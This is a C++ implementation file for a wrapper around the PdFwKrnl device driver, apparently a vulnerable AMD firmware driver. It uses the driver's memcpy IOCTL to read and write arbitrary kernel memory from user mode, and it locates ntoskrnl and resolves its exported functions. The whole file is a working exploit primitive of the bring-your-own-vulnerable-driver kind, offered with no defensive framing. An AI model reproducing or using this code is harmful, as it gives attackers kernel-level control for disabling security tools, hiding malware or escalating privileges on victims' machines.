#pragma once

#include "pdfwkrnl.h"
#include <vector>
#include <string.h>

_pdfwkrnl::_pdfwkrnl() : hDevice(INVALID_HANDLE_VALUE) {}

_pdfwkrnl::~_pdfwkrnl() { detach(); }

bool _pdfwkrnl::attach() {
    if (hDevice != INVALID_HANDLE_VALUE) {
        return true;
    }

    hDevice = CreateFileW(L"\\\\.\\PdFwKrnl",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    return hDevice != INVALID_HANDLE_VALUE;
}

void _pdfwkrnl::detach() {
    if (hDevice != INVALID_HANDLE_VALUE) {
        CloseHandle(hDevice);
        hDevice = INVALID_HANDLE_VALUE;
    }
}

uint64_t _pdfwkrnl::get_ntoskrnl_base() {
    if (hDevice == INVALID_HANDLE_VALUE) {
        return 0;
    }

    uint64_t base_address = 0;
    DWORD CbNeeded = 0;
    LPVOID Drivers[1024]{};
    if (EnumDeviceDrivers(Drivers, sizeof(Drivers), &CbNeeded)) {
        base_address = (uint64_t)Drivers[0];
    }

    return base_address;
}

uint64_t _pdfwkrnl::get_ntoskrnl_export(const char* function) {
    uint64_t ntoskrnl_base = get_ntoskrnl_base();
    if (!ntoskrnl_base)
        return 0;

    IMAGE_DOS_HEADER dos_headers = read_virtual_memory<IMAGE_DOS_HEADER>(ntoskrnl_base);
    if (dos_headers.e_magic != IMAGE_DOS_SIGNATURE)
        return 0;

    IMAGE_NT_HEADERS nt_headers = read_virtual_memory<IMAGE_NT_HEADERS>(ntoskrnl_base + dos_headers.e_lfanew);

    if (nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
        auto image_export_directory = ntoskrnl_base + nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

        IMAGE_EXPORT_DIRECTORY export_directory = read_virtual_memory<IMAGE_EXPORT_DIRECTORY>(image_export_directory);

        if (export_directory.NumberOfFunctions > 0) {
            auto address_of_functions = ntoskrnl_base + export_directory.AddressOfFunctions;
            auto address_of_names = ntoskrnl_base + export_directory.AddressOfNames;
            auto address_of_name_ordinals = ntoskrnl_base + export_directory.AddressOfNameOrdinals;

            std::vector<DWORD> func_rvas(export_directory.NumberOfFunctions);
            std::vector<DWORD> name_rvas(export_directory.NumberOfNames);
            std::vector<WORD> ordinals(export_directory.NumberOfNames);

            if (!read_virtual_memory(address_of_functions, func_rvas.data(), export_directory.NumberOfFunctions * sizeof(DWORD)))
                return -1;

            if (!read_virtual_memory(address_of_names, name_rvas.data(), export_directory.NumberOfNames * sizeof(DWORD)))
                return -1;

            if (!read_virtual_memory(address_of_name_ordinals, ordinals.data(), export_directory.NumberOfNames * sizeof(WORD)))
                return -1;

            for (DWORD i = 0; i < export_directory.NumberOfNames; i++) {
                char func_name[256] = { 0 };
                auto name_address = ntoskrnl_base + name_rvas[i];

                if (!read_virtual_memory(name_address, func_name, sizeof(func_name)))
                    continue;

                func_name[255] = '\0';

                auto ordinal = export_directory.Base + ordinals[i];
                auto func_rva = func_rvas[ordinals[i]];
                auto func_address = ntoskrnl_base + func_rva;

                if (!strcmp(func_name, function))
                    return func_address;
            }
        }
    }

    return 0;
}

bool _pdfwkrnl::read_virtual_memory(UINT64 address, void* buffer, ULONG size) {
    if (hDevice == INVALID_HANDLE_VALUE || !buffer || !size || !address) {
        return false;
    }

    PDFW_MEMCPY memcpy_data = { 0 };
    memcpy_data.Destination = buffer;
    memcpy_data.Source = (PVOID)address;
    memcpy_data.Size = size;

    DWORD bytes_returned;
    return DeviceIoControl(hDevice,
        IOCTL_AMDPDFW_MEMCPY,
        &memcpy_data,
        sizeof(PDFW_MEMCPY),
        &memcpy_data,
        sizeof(PDFW_MEMCPY),
        &bytes_returned,
        NULL) != 0;
}

bool _pdfwkrnl::write_virtual_memory(UINT64 address, void* buffer, ULONG size) {
    if (hDevice == INVALID_HANDLE_VALUE || !buffer || !size || !address) {
        return false;
    }

    PDFW_MEMCPY memcpy_data = { 0 };
    memcpy_data.Destination = (PVOID)address;
    memcpy_data.Source = buffer;
    memcpy_data.Size = size;

    DWORD bytes_returned;
    return DeviceIoControl(hDevice,
        IOCTL_AMDPDFW_MEMCPY,
        &memcpy_data,
        sizeof(PDFW_MEMCPY),
        &memcpy_data,
        sizeof(PDFW_MEMCPY),
        &bytes_returned,
        NULL) != 0;
}